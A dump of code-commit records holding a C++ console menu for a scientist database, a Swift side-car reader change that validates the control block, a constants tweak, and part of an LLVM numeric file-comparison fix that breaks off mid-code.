 {\n        int inputCheck;\n\n        cout << \"To search by year of birth(1), to search by range of year of birth(2)\" << endl;\n        cin >> inputCheck;\n\n        if(inputCheck == 1)\n        {\n            int userInputBirth;\n\n            cout << \"Search by year of birth: \";\n            cin >> userInputBirth;\n\n            vector<Scientist> scientist = _service.findScientistByBirth(userInputBirth);\n            userMenuPrint(scientist);\n        }\n        else if(inputCheck == 2)\n        {\n            int userInputBirthFirst;\n            int userInputBirthLast;\n\n            cout << \"Search from year of birth: \";\n            cin >> userInputBirthFirst;\n            cout << endl;\n            cout << \"to year of birth: \";\n            cin >> userInputBirthLast;\n            cout << endl;\n\n            vector<Scientist> scientist = _service.findScientistByBirthRange(userInputBirthFirst, userInputBirthLast);\n            userMenuPrint(scientist);\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Wrong Input\" << endl;\n        }\n\n    }\n    else if(command == \"death\")\n    {\n        int inputCheck;\n\n        cout << \"To search by year of death(1), to search by range of year of death(2)\" << endl;\n        cin >> inputCheck;\n\n        if(inputCheck == 1)\n        {\n            int userInputDeath;\n\n            cout << \"Search by year of death (0 for still alive): \";\n            cin >> userInputDeath;\n\n            vector<Scientist> scientist = _service.findScientistByDeath(userInputDeath);\n            userMenuPrint(scientist);\n        }\n        else if(inputCheck == 2)\n        {\n            int userInputDeathFirst;\n            int userInputDeathLast;\n\n            cout << \"Search from year of death (0 for still alive): \";\n            cin >> userInputDeathFirst;\n            cout << endl;\n            cout << \"to year of death (0 for still alive): \";\n            cin >> userInputDeathLast;\n            cout << endl;\n\n            vector<Scientist> scientist = _service.findScientistByDeathRange(userInputDeathFirst, userInputDeathLast);\n            userMenuPrint(scientist);\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Wrong Input\" << endl;\n        }\n\n    }\n    cout << endl;\n\n}\nvoid ConsoleUI::userMenuSort()                              \/\/ Sort list\n{ \n    bool inputCheck = true;\n    int userInput;\n\n    do\n    {\n        cout << string( 100, '\\n' );\n\n        cout << \"Sort list by Name A-Z(1), Name Z-A(2), Gender(3), Year of Birth(4), Year of Death(5) or Age (6)\" << endl;\n        cout << \"Select: \";\n        cin >> userInput;\n\n        if(userInput > 0 && userInput < 7) \/\/ check if input is int and if it ranges from 1 to 6\n        {\n            inputCheck = false;\n        }\n        else if(cin.fail())\n        {\n            cout << \"Invalid input\" << endl;\n        }\n        else\n        {\n            cout << \"Invalid input\" << endl;\n        }\n        cin.clear();\n        cin.ignore(INT_MAX, '\\n');\n    }while(inputCheck);\n\n\n     _service.scientistSort(userInput);\n     userMenuList();\n}\nvoid ConsoleUI::userMenuPrint(vector<Scientist>scientist)   \/\/ Print list\n{\n    cout << string( 100, '\\n' );\n    cout << left << setw(30) << \"Scientist name:\"\n         << setw(10) << right << \"gender:\"\n         << setw(10) << \"born:\"\n         << setw(10) << \"died:\"\n         << setw(10) << \"age:\" << endl;\n    cout << \"======================================================================\" << endl;\n    for (size_t i = 0; i< scientist.size(); ++i)\n    {\n        cout << left << setw(30) << scientist[i].getName()\n             << setw(10) << right << scientist[i].getGender()\n             << setw(10) << scientist[i].getBirth();\n\n\n             if(scientist[i].getDeath() == 0)\n             {\n                 cout << setw(10) << \"-\";\n             }\n             else\n             {\n                 cout << setw(10) << scientist[i].getDeath();\n             }\n             cout << setw(10) << scientist[i].getAge() << endl;\n\n\n    }\n    cout << \"======================================================================\" << endl;\n    cout << \"To return to menu input the letter m\" << string( 2, '\\n' );\n\n   string userInput = \" \";\n   while (userInput != \"m\")\n   {\n       cin >> userInput;\n   }\n}\nint  ConsoleUI::userCheckInput()                            \/\/ Check input from userMenuAdd\n{\n    \/\/ Check if all data is correct\n    while(true)\n    {\n        char answear;\n        cout << \"Is this data correct? (input y\/n) or press q to quit\" << endl;\n        cout << \"Select: \";\n        cin >> answear;\n\n        if(answear == 'y')\n        {\n            return 0;\n        }\n        else if (answear == 'n')\n        {\n            return 1;\n        }\n        else if (answear == 'q')\n        {\n            return 2;\n        }\n        else\n        {\n            cout << \"Invalid input!\";\n        }\n\n    }\n}\nvoid ConsoleUI::userMenuRemove()                            \/\/ Removes a programmer\n{\n    int command;\n\n    cout << \"To remove a single programmer \/ computer scientist (1), to remove *ALL* programmers \/ computer scientists (2)\" << endl;\n    cout << \"Select: \";\n    cin >> command;\n    cin.clear();\n    cin.ignore(INT_MAX, '\\n');\n    cout << endl;\n\n    if(command == 1) \/\/ Remove 1 programmer\n    {\n        string userInputName;\n        cout << string( 100, '\\n' );\n\n        cout << \"Remove a programmer\/computer scientist: \";\n        cin.ignore();\n        getline(cin, userInputName);\n\n        _service.removeScientist(userInputName);\n        cout << string( 100, '\\n' );\n        userMenuList();\n    }\n    else if(command == 2) \/\/ Remove all programmers\n    {\n        string userInputName;\n        cout << string( 100, '\\n' );\n\n        cout << \"Confirm remove *ALL* programmers \/ computer scientists (y), any other letter to cancel\" << endl;\n        cin.ignore();\n        getline(cin, userInputName);\n        forceLowerCase(userInputName);\n\n        if(userInputName == \"y\")\n        {\n            _service.removeAllScientists();\n            cout << string( 100, '\\n' );\n            userMenuList();\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Wrong Input\" << endl;\n        }\n\n    }\n    else\n    {\n        cout << string( 100, '\\n' );\n        cout << \"Wrong Input\" << endl;\n    }\n}\nvoid ConsoleUI::forceLowerCase(string &command)             \/\/ Force input to lower case\n{\n    for(unsigned int i = 0; i < command.length(); i++) \/\/ to make all lowercase, taken from c++ site\n    {\n        command[i] = tolower(command[i]);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===--- SideCarReader.cpp - Side Car Reader --------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the \\c SideCarReader class that reads source\n\/\/ side-car data providing additional information about source code as\n\/\/ a separate input, such as the non-nil\/nilable annotations for\n\/\/ method parameters.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"swift\/SideCar\/SideCarReader.h\"\n#include \"SideCarFormat.h\"\n#include \"llvm\/Bitcode\/BitstreamReader.h\"\n\nusing namespace swift;\nusing namespace side_car;\n\nclass SideCarReader::Implementation {\npublic:\n  \/\/\/ The input buffer for the side car data.\n  std::unique_ptr<llvm::MemoryBuffer> InputBuffer;\n\n  \/\/\/ The reader attached to \\c InputBuffer.\n  llvm::BitstreamReader InputReader;\n\n  bool readControlBlock(llvm::BitstreamCursor &cursor);\n  bool readIdentifierBlock(llvm::BitstreamCursor &cursor);\n  bool readObjCClassBlock(llvm::BitstreamCursor &cursor);\n  bool readObjCPropertyBlock(llvm::BitstreamCursor &cursor);\n  bool readObjCMethodBlock(llvm::BitstreamCursor &cursor);\n  bool readObjCSelectorBlock(llvm::BitstreamCursor &cursor);\n};\n\nbool SideCarReader::Implementation::readControlBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readIdentifierBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readObjCClassBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readObjCPropertyBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readObjCMethodBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readObjCSelectorBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nSideCarReader::SideCarReader(std::unique_ptr<llvm::MemoryBuffer> inputBuffer, \n                             bool &failed) \n  : Impl(*new Implementation)\n{\n  failed = false;\n\n  \/\/ Initialize the input buffer.\n  Impl.InputBuffer = std::move(inputBuffer);\n  Impl.InputReader.init(\n    reinterpret_cast<const uint8_t *>(Impl.InputBuffer->getBufferStart()), \n    reinterpret_cast<const uint8_t *>(Impl.InputBuffer->getBufferEnd()));\n  llvm::BitstreamCursor cursor(Impl.InputReader);\n\n  \/\/ Validate signature.\n  for (auto byte : SIDE_CAR_SIGNATURE) {\n    if (cursor.AtEndOfStream() || cursor.Read(8) != byte) {\n      failed = true;\n      return;\n    }\n  }\n\n  \/\/ \n  bool hasValidControlBlock = false;\n\n  auto topLevelEntry = cursor.advance();\n  while (topLevelEntry.Kind == llvm::BitstreamEntry::SubBlock) {\n    switch (topLevelEntry.ID) {\n    case llvm::bitc::BLOCKINFO_BLOCK_ID:\n      if (cursor.ReadBlockInfoBlock()) {\n        failed = true;\n        break;\n      }\n      break;\n\n    case CONTROL_BLOCK_ID:\n      \/\/ Only allow a single control block.\n      if (hasValidControlBlock || Impl.readControlBlock(cursor)) {\n        failed = true;\n        return;\n      }\n\n      hasValidControlBlock = true;\n      break;\n\n    case IDENTIFIER_BLOCK_ID:\n      if (!hasValidControlBlock || Impl.readIdentifierBlock(cursor)) {\n        failed = true;\n        return;\n      }\n      break;\n\n    case OBJC_CLASS_BLOCK_ID:\n      if (!hasValidControlBlock || Impl.readObjCClassBlock(cursor)) {\n        failed = true;\n        return;\n      }\n\n      break;\n\n    case OBJC_PROPERTY_BLOCK_ID:\n      if (Impl.readObjCPropertyBlock(cursor)) {\n        failed = true;\n        return;\n      }\n      break;\n\n    case OBJC_METHOD_BLOCK_ID:\n      if (Impl.readObjCMethodBlock(cursor)) {\n        failed = true;\n        return;\n      }\n      break;\n\n    case OBJC_SELECTOR_BLOCK_ID:\n      if (Impl.readObjCSelectorBlock(cursor)) {\n        failed = true;\n        return;\n      }\n      break;\n\n    default:\n      \/\/ Unknown top-level block, possibly for use by a future version of the\n      \/\/ module format.\n      if (cursor.SkipBlock()) {\n        failed = true;\n        return;\n      }\n      break;\n    }\n\n    topLevelEntry = cursor.advance(llvm::BitstreamCursor::AF_DontPopBlockAtEnd);\n  }\n}\n\nSideCarReader::~SideCarReader() {\n}\n\nstd::unique_ptr<SideCarReader> \nSideCarReader::get(std::unique_ptr<llvm::MemoryBuffer> inputBuffer) {\n  bool failed = false;\n  std::unique_ptr<SideCarReader> \n    reader(new SideCarReader(std::move(inputBuffer), failed));\n  if (failed)\n    return nullptr;\n\n  return std::move(reader);\n}\n\n<commit_msg>Side car: load and validate control block.<commit_after>\/\/===--- SideCarReader.cpp - Side Car Reader --------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the \\c SideCarReader class that reads source\n\/\/ side-car data providing additional information about source code as\n\/\/ a separate input, such as the non-nil\/nilable annotations for\n\/\/ method parameters.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"swift\/SideCar\/SideCarReader.h\"\n#include \"SideCarFormat.h\"\n#include \"llvm\/Bitcode\/BitstreamReader.h\"\n\nusing namespace swift;\nusing namespace side_car;\n\nclass SideCarReader::Implementation {\npublic:\n  \/\/\/ The input buffer for the side car data.\n  std::unique_ptr<llvm::MemoryBuffer> InputBuffer;\n\n  \/\/\/ The reader attached to \\c InputBuffer.\n  llvm::BitstreamReader InputReader;\n\n  bool readControlBlock(llvm::BitstreamCursor &cursor, \n                        SmallVectorImpl<uint64_t> &scratch);\n  bool readIdentifierBlock(llvm::BitstreamCursor &cursor);\n  bool readObjCClassBlock(llvm::BitstreamCursor &cursor);\n  bool readObjCPropertyBlock(llvm::BitstreamCursor &cursor);\n  bool readObjCMethodBlock(llvm::BitstreamCursor &cursor);\n  bool readObjCSelectorBlock(llvm::BitstreamCursor &cursor);\n};\n\nbool SideCarReader::Implementation::readControlBlock(\n       llvm::BitstreamCursor &cursor,\n       SmallVectorImpl<uint64_t> &scratch) {\n  if (cursor.EnterSubBlock(CONTROL_BLOCK_ID))\n    return true;\n\n  bool sawMetadata = false;\n  \n  auto next = cursor.advance();\n  while (next.Kind != llvm::BitstreamEntry::EndBlock) {\n    if (next.Kind == llvm::BitstreamEntry::Error)\n      return true;\n\n    if (next.Kind == llvm::BitstreamEntry::SubBlock) {\n      \/\/ Unknown metadata sub-block, possibly for use by a future version of the\n      \/\/ side-car format.\n      if (cursor.SkipBlock())\n        return true;\n      \n      next = cursor.advance();\n      continue;\n    }\n\n    scratch.clear();\n    StringRef blobData;\n    unsigned kind = cursor.readRecord(next.ID, scratch, &blobData);\n    switch (kind) {\n    case control_block::METADATA:\n      \/\/ Already saw metadata.\n      if (sawMetadata)\n        return true;\n\n      if (scratch[0] != VERSION_MAJOR || scratch[1] != VERSION_MINOR)\n        return true;\n\n      sawMetadata = true;\n      break;\n\n    default:\n      \/\/ Unknown metadata record, possibly for use by a future version of the\n      \/\/ module format.\n      break;\n    }\n\n    next = cursor.advance();\n  }\n\n  return !sawMetadata;\n}\n\nbool SideCarReader::Implementation::readIdentifierBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readObjCClassBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readObjCPropertyBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readObjCMethodBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nbool SideCarReader::Implementation::readObjCSelectorBlock(\n       llvm::BitstreamCursor &cursor) {\n  return cursor.SkipBlock();\n}\n\nSideCarReader::SideCarReader(std::unique_ptr<llvm::MemoryBuffer> inputBuffer, \n                             bool &failed) \n  : Impl(*new Implementation)\n{\n  failed = false;\n\n  \/\/ Initialize the input buffer.\n  Impl.InputBuffer = std::move(inputBuffer);\n  Impl.InputReader.init(\n    reinterpret_cast<const uint8_t *>(Impl.InputBuffer->getBufferStart()), \n    reinterpret_cast<const uint8_t *>(Impl.InputBuffer->getBufferEnd()));\n  llvm::BitstreamCursor cursor(Impl.InputReader);\n\n  \/\/ Validate signature.\n  for (auto byte : SIDE_CAR_SIGNATURE) {\n    if (cursor.AtEndOfStream() || cursor.Read(8) != byte) {\n      failed = true;\n      return;\n    }\n  }\n\n  \/\/ Look at all of the blocks.\n  bool hasValidControlBlock = false;\n  SmallVector<uint64_t, 64> scratch;\n  auto topLevelEntry = cursor.advance();\n  while (topLevelEntry.Kind == llvm::BitstreamEntry::SubBlock) {\n    switch (topLevelEntry.ID) {\n    case llvm::bitc::BLOCKINFO_BLOCK_ID:\n      if (cursor.ReadBlockInfoBlock()) {\n        failed = true;\n        break;\n      }\n      break;\n\n    case CONTROL_BLOCK_ID:\n      \/\/ Only allow a single control block.\n      if (hasValidControlBlock || Impl.readControlBlock(cursor, scratch)) {\n        failed = true;\n        return;\n      }\n\n      hasValidControlBlock = true;\n      break;\n\n    case IDENTIFIER_BLOCK_ID:\n      if (!hasValidControlBlock || Impl.readIdentifierBlock(cursor)) {\n        failed = true;\n        return;\n      }\n      break;\n\n    case OBJC_CLASS_BLOCK_ID:\n      if (!hasValidControlBlock || Impl.readObjCClassBlock(cursor)) {\n        failed = true;\n        return;\n      }\n\n      break;\n\n    case OBJC_PROPERTY_BLOCK_ID:\n      if (Impl.readObjCPropertyBlock(cursor)) {\n        failed = true;\n        return;\n      }\n      break;\n\n    case OBJC_METHOD_BLOCK_ID:\n      if (Impl.readObjCMethodBlock(cursor)) {\n        failed = true;\n        return;\n      }\n      break;\n\n    case OBJC_SELECTOR_BLOCK_ID:\n      if (Impl.readObjCSelectorBlock(cursor)) {\n        failed = true;\n        return;\n      }\n      break;\n\n    default:\n      \/\/ Unknown top-level block, possibly for use by a future version of the\n      \/\/ module format.\n      if (cursor.SkipBlock()) {\n        failed = true;\n        return;\n      }\n      break;\n    }\n\n    topLevelEntry = cursor.advance(llvm::BitstreamCursor::AF_DontPopBlockAtEnd);\n  }\n\n  if (topLevelEntry.Kind != llvm::BitstreamEntry::EndBlock) {\n    failed = true;\n    return;\n  }\n}\n\nSideCarReader::~SideCarReader() {\n}\n\nstd::unique_ptr<SideCarReader> \nSideCarReader::get(std::unique_ptr<llvm::MemoryBuffer> inputBuffer) {\n  bool failed = false;\n  std::unique_ptr<SideCarReader> \n    reader(new SideCarReader(std::move(inputBuffer), failed));\n  if (failed)\n    return nullptr;\n\n  return std::move(reader);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"constants.hpp\"\n\nconst uint64_t evalute_type_cutter = 1152921504606846976;\nconst uint64_t evalute_cutter = (UINT64_MAX ^ evalute_type_cutter);\n<commit_msg>last upd.<commit_after>#include \"constants.hpp\"\n\n\/\/const uint64_t evalute_type_cutter = 1152921504606846976;\n\/\/const uint64_t evalute_cutter = (UINT64_MAX ^ evalute_type_cutter);\n<|endoftext|>"}
{"text":"<commit_before>\/\/===- Support\/FileUtilities.cpp - File System Utilities ------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements a family of utility functions which are useful for doing\n\/\/ various things with files.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Support\/FileUtilities.h\"\n#include \"llvm\/System\/Path.h\"\n#include \"llvm\/System\/MappedFile.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include <cstring>\n#include <cctype>\nusing namespace llvm;\n\nstatic bool isNumberChar(char C) {\n  switch (C) {\n  case '0': case '1': case '2': case '3': case '4':\n  case '5': case '6': case '7': case '8': case '9':\n  case '.': case '+': case '-':\n  case 'D':  \/\/ Strange exponential notation.\n  case 'd':  \/\/ Strange exponential notation.\n  case 'e':\n  case 'E': return true;\n  default: return false;\n  }\n}\n\nstatic char *BackupNumber(char *Pos, char *FirstChar) {\n  \/\/ If we didn't stop in the middle of a number, don't backup.\n  if (!isNumberChar(*Pos)) return Pos;\n\n  \/\/ Otherwise, return to the start of the number.\n  while (Pos > FirstChar && isNumberChar(Pos[-1]))\n    --Pos;\n  return Pos;\n}\n\n\/\/\/ CompareNumbers - compare two numbers, returning true if they are different.\nstatic bool CompareNumbers(char *&F1P, char *&F2P, char *F1End, char *F2End,\n                           double AbsTolerance, double RelTolerance,\n                           std::string *ErrorMsg) {\n  char *F1NumEnd, *F2NumEnd;\n  double V1 = 0.0, V2 = 0.0;\n\n  \/\/ If one of the positions is at a space and the other isn't, chomp up 'til\n  \/\/ the end of the space.\n  while (isspace(*F1P) && F1P != F1End)\n    ++F1P;\n  while (isspace(*F2P) && F2P != F2End)\n    ++F2P;\n\n  \/\/ If we stop on numbers, compare their difference.  Note that some ugliness\n  \/\/ is built into this to permit support for numbers that use \"D\" or \"d\" as\n  \/\/ their exponential marker, e.g. \"1.234D45\".  This occurs in 200.sixtrack in\n  \/\/ spec2k.\n  if (isNumberChar(*F1P) && isNumberChar(*F2P)) {\n    bool isDNotation;\n    do {\n      isDNotation = false;\n      V1 = strtod(F1P, &F1NumEnd);\n      V2 = strtod(F2P, &F2NumEnd);\n\n      if (*F1NumEnd == 'D' || *F1NumEnd == 'd') {\n        *F1NumEnd = 'e';  \/\/ Strange exponential notation!\n        isDNotation = true;\n      }\n      if (*F2NumEnd == 'D' || *F2NumEnd == 'd') {\n        *F2NumEnd = 'e';  \/\/ Strange exponential notation!\n        isDNotation = true;\n      }\n    } while (isDNotation);\n  } else {\n    \/\/ Otherwise, the diff failed.\n    F1NumEnd = F1P;\n    F2NumEnd = F2P;\n  }\n\n  if (F1NumEnd == F1P || F2NumEnd == F2P) {\n    if (ErrorMsg) {\n      *ErrorMsg = \"FP Comparison failed, not a numeric difference between '\";\n      *ErrorMsg += F1P[0];\n      *ErrorMsg += \"' and '\";\n      *ErrorMsg += F2P[0];\n      *ErrorMsg += \"'\";\n    }\n    return true;\n  }\n\n  \/\/ Check to see if these are inside the absolute tolerance\n  if (AbsTolerance < std::abs(V1-V2)) {\n    \/\/ Nope, check the relative tolerance...\n    double Diff;\n    if (V2)\n      Diff = std::abs(V1\/V2 - 1.0);\n    else if (V1)\n      Diff = std::abs(V2\/V1 - 1.0);\n    else\n      Diff = 0;  \/\/ Both zero.\n    if (Diff > RelTolerance) {\n      if (ErrorMsg) {\n        *ErrorMsg = \"Compared: \" + ftostr(V1) + \" and \" + ftostr(V2) + \"\\n\";\n        *ErrorMsg += \"abs. diff = \" + ftostr(std::abs(V1-V2)) + \n                     \" rel.diff = \" + ftostr(Diff) + \"\\n\";\n        *ErrorMsg += \"Out of tolerance: rel\/abs: \" + ftostr(RelTolerance) +\n                     \"\/\" + ftostr(AbsTolerance);\n      }\n      return true;\n    }\n  }\n\n  \/\/ Otherwise, advance our read pointers to the end of the numbers.\n  F1P = F1NumEnd;  F2P = F2NumEnd;\n  return false;\n}\n\n\/\/ PadFileIfNeeded - If the files are not identical, we will have to be doing\n\/\/ numeric comparisons in here.  There are bad cases involved where we (i.e.,\n\/\/ strtod) might run off the beginning or end of the file if it starts or ends\n\/\/ with a number.  Because of this, if needed, we pad the file so that it starts\n\/\/ and ends with a null character.\nstatic void PadFileIfNeeded(char *&FileStart, char *&FileEnd, char *&FP) {\n  if (FileStart-FileEnd < 2 ||\n      isNumberChar(FileStart[0]) || isNumberChar(FileEnd[-1])) {\n    unsigned FileLen = FileEnd-FileStart;\n    char *NewFile = new char[FileLen+2];\n    NewFile[0] = 0;              \/\/ Add null padding\n    NewFile[FileLen+1] = 0;      \/\/ Add null padding\n    memcpy(NewFile+1, FileStart, FileLen);\n    FP = NewFile+(FP-FileStart)+1;\n    FileStart = NewFile+1;\n    FileEnd = FileStart+FileLen;\n  }\n}\n\n\/\/\/ DiffFilesWithTolerance - Compare the two files specified, returning 0 if the\n\/\/\/ files match, 1 if they are different, and 2 if there is a file error.  This\n\/\/\/ function differs from DiffFiles in that you can specify an absolete and\n\/\/\/ relative FP error that is allowed to exist.  If you specify a string to fill\n\/\/\/ in for the error option, it will set the string to an error message if an\n\/\/\/ error occurs, allowing the caller to distinguish between a failed diff and a\n\/\/\/ file system error.\n\/\/\/\nint llvm::DiffFilesWithTolerance(const sys::PathWithStatus &FileA,\n                                 const sys::PathWithStatus &FileB,\n                                 double AbsTol, double RelTol,\n                                 std::string *Error) {\n  const sys::FileStatus *FileAStat = FileA.getFileStatus(false, Error);\n  if (!FileAStat)\n    return 2;\n  const sys::FileStatus *FileBStat = FileB.getFileStatus(false, Error);\n  if (!FileBStat)\n    return 2;\n\n  \/\/ Check for zero length files because some systems croak when you try to\n  \/\/ mmap an empty file.\n  size_t A_size = FileAStat->getSize();\n  size_t B_size = FileBStat->getSize();\n\n  \/\/ If they are both zero sized then they're the same\n  if (A_size == 0 && B_size == 0)\n    return 0;\n\n  \/\/ If only one of them is zero sized then they can't be the same\n  if ((A_size == 0 || B_size == 0)) {\n    if (Error)\n      *Error = \"Files differ: one is zero-sized, the other isn't\";\n    return 1;\n  }\n\n  \/\/ Now its safe to mmap the files into memory becasue both files\n  \/\/ have a non-zero size.\n  sys::MappedFile F1;\n  if (F1.open(FileA, sys::MappedFile::READ_ACCESS, Error))\n    return 2;\n  sys::MappedFile F2;\n  if (F2.open(FileB, sys::MappedFile::READ_ACCESS, Error))\n    return 2;\n  if (!F1.map(Error))\n    return 2;\n  if (!F2.map(Error))\n    return 2;\n\n  \/\/ Okay, now that we opened the files, scan them for the first difference.\n  char *File1Start = F1.charBase();\n  char *File2Start = F2.charBase();\n  char *File1End = File1Start+A_size;\n  char *File2End = File2Start+B_size;\n  char *F1P = File1Start;\n  char *F2P = File2Start;\n\n  if (A_size == B_size) {\n    \/\/ Are the buffers identical?\n    if (std::memcmp(File1Start, File2Start, A_size) == 0)\n      return 0;\n\n    if (AbsTol == 0 && RelTol == 0) {\n      if (Error)\n        *Error = \"Files differ without tolerance allowance\";\n      return 1;   \/\/ Files different!\n    }\n  }\n\n  char *OrigFile1Start = File1Start;\n  char *OrigFile2Start = File2Start;\n\n  \/\/ If the files need padding, do so now.\n  PadFileIfNeeded(File1Start, File1End, F1P);\n  PadFileIfNeeded(File2Start, File2End, F2P);\n\n  bool CompareFailed = false;\n  while (1) {\n    \/\/ Scan for the end of file or next difference.\n    while (F1P < File1End && F2P < File2End && *F1P == *F2P)\n      ++F1P, ++F2P;\n\n    if (F1P >= File1End || F2P >= File2End) break;\n\n    \/\/ Okay, we must have found a difference.  Backup to the start of the\n    \/\/ current number each stream is at so that we can compare from the\n    \/\/ beginning.\n    F1P = BackupNumber(F1P, File1Start);\n    F2P = BackupNumber(F2P, File2Start);\n\n    \/\/ Now that we are at the start of the numbers, compare them, exiting if\n    \/\/ they don't match.\n    if (CompareNumbers(F1P, F2P, File1End, File2End, AbsTol, RelTol, Error)) {\n      CompareFailed = true;\n      break;\n    }\n  }\n\n  \/\/ Okay, we reached the end of file.  If both files are at the end, we\n  \/\/ succeeded.\n  bool F1AtEnd = F1P >= File1End;\n  bool F2AtEnd = F2P >= File2End;\n  if (!CompareFailed && (!F1AtEnd || !F2AtEnd)) {\n    \/\/ Else, we might have run off the end due to a number: backup and retry.\n    if (F1AtEnd && isNumberChar(F1P[-1])) --F1P;\n    if (F2AtEnd && isNumberChar(F2P[-1])) --F2P;\n    F1P = BackupNumber(F1P, File1Start);\n    F2P = BackupNumber(F2P, File2Start);\n\n    \/\/ Now that we are at the start of the numbers, compare them, exiting if\n    \/\/ they don't match.\n    if (CompareNumbers(F1P, F2P, File1End, File2End, AbsTol, RelTol, Error))\n      CompareFailed = true;\n\n    \/\/ If we found the end, we succeeded.\n    if (F1P < File1End || F2P < File2End)\n      CompareFailed = true;\n  }\n\n  if (OrigFile1Start != File1Start)\n    delete[] (File1Start-1);   \/\/ Back up past null byte\n  if (OrigFile2Start != File2Start)\n    delete[] (File2Start-1);   \/\/ Back up past null byte\n  return CompareFailed;\n}\n<commit_msg>Fix fpcmp infinite loop when comparing \"29-266\" with \"29-268\".<commit_after>\/\/===- Support\/FileUtilities.cpp - File System Utilities ------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements a family of utility functions which are useful for doing\n\/\/ various things with files.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Support\/FileUtilities.h\"\n#include \"llvm\/System\/Path.h\"\n#include \"llvm\/System\/MappedFile.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include <cstring>\n#include <cctype>\nusing namespace llvm;\n\nstatic bool isSignedChar(char C) {\n  if (C == '+' || C == '-')\n    return true;\n  else\n    return false;\n}\n\nstatic bool isExpoentChar(char C) {\n  switch (C) {\n  case 'D':  \/\/ Strange exponential notation.\n  case 'd':  \/\/ Strange exponential notation.\n  case 'e':\n  case 'E': return true;\n  default: return false;\n  }\n}\n\nstatic bool isNumberChar(char C) {\n  switch (C) {\n  case '0': case '1': case '2': case '3': case '4':\n  case '5': case '6': case '7': case '8': case '9':\n  case '.': return true;\n  default: return isSignedChar(C) || isExpoentChar(C);\n  }\n}\n\nstatic char *BackupNumber(char *Pos, char *FirstChar) {\n  \/\/ If we didn't stop in the middle of a number, don't backup.\n  if (!isNumberChar(*Pos)) return Pos;\n\n  \/\/ Otherwise, return to the start of the number.\n  while (Pos > FirstChar && isNumberChar(Pos[-1])) {\n    --Pos;\n    if (Pos > FirstChar && isSignedChar(Pos[0]) && !isExpoentChar(Pos[-1]))\n      break;\n  }\n  return Pos;\n}\n\n\/\/\/ CompareNumbers - compare two numbers, returning true if they are different.\nstatic bool CompareNumbers(char *&F1P, char *&F2P, char *F1End, char *F2End,\n                           double AbsTolerance, double RelTolerance,\n                           std::string *ErrorMsg) {\n  char *F1NumEnd, *F2NumEnd;\n  double V1 = 0.0, V2 = 0.0;\n\n  \/\/ If one of the positions is at a space and the other isn't, chomp up 'til\n  \/\/ the end of the space.\n  while (isspace(*F1P) && F1P != F1End)\n    ++F1P;\n  while (isspace(*F2P) && F2P != F2End)\n    ++F2P;\n\n  \/\/ If we stop on numbers, compare their difference.  Note that some ugliness\n  \/\/ is built into this to permit support for numbers that use \"D\" or \"d\" as\n  \/\/ their exponential marker, e.g. \"1.234D45\".  This occurs in 200.sixtrack in\n  \/\/ spec2k.\n  if (isNumberChar(*F1P) && isNumberChar(*F2P)) {\n    bool isDNotation;\n    do {\n      isDNotation = false;\n      V1 = strtod(F1P, &F1NumEnd);\n      V2 = strtod(F2P, &F2NumEnd);\n\n      if (*F1NumEnd == 'D' || *F1NumEnd == 'd') {\n        *F1NumEnd = 'e';  \/\/ Strange exponential notation!\n        isDNotation = true;\n      }\n      if (*F2NumEnd == 'D' || *F2NumEnd == 'd') {\n        *F2NumEnd = 'e';  \/\/ Strange exponential notation!\n        isDNotation = true;\n      }\n    } while 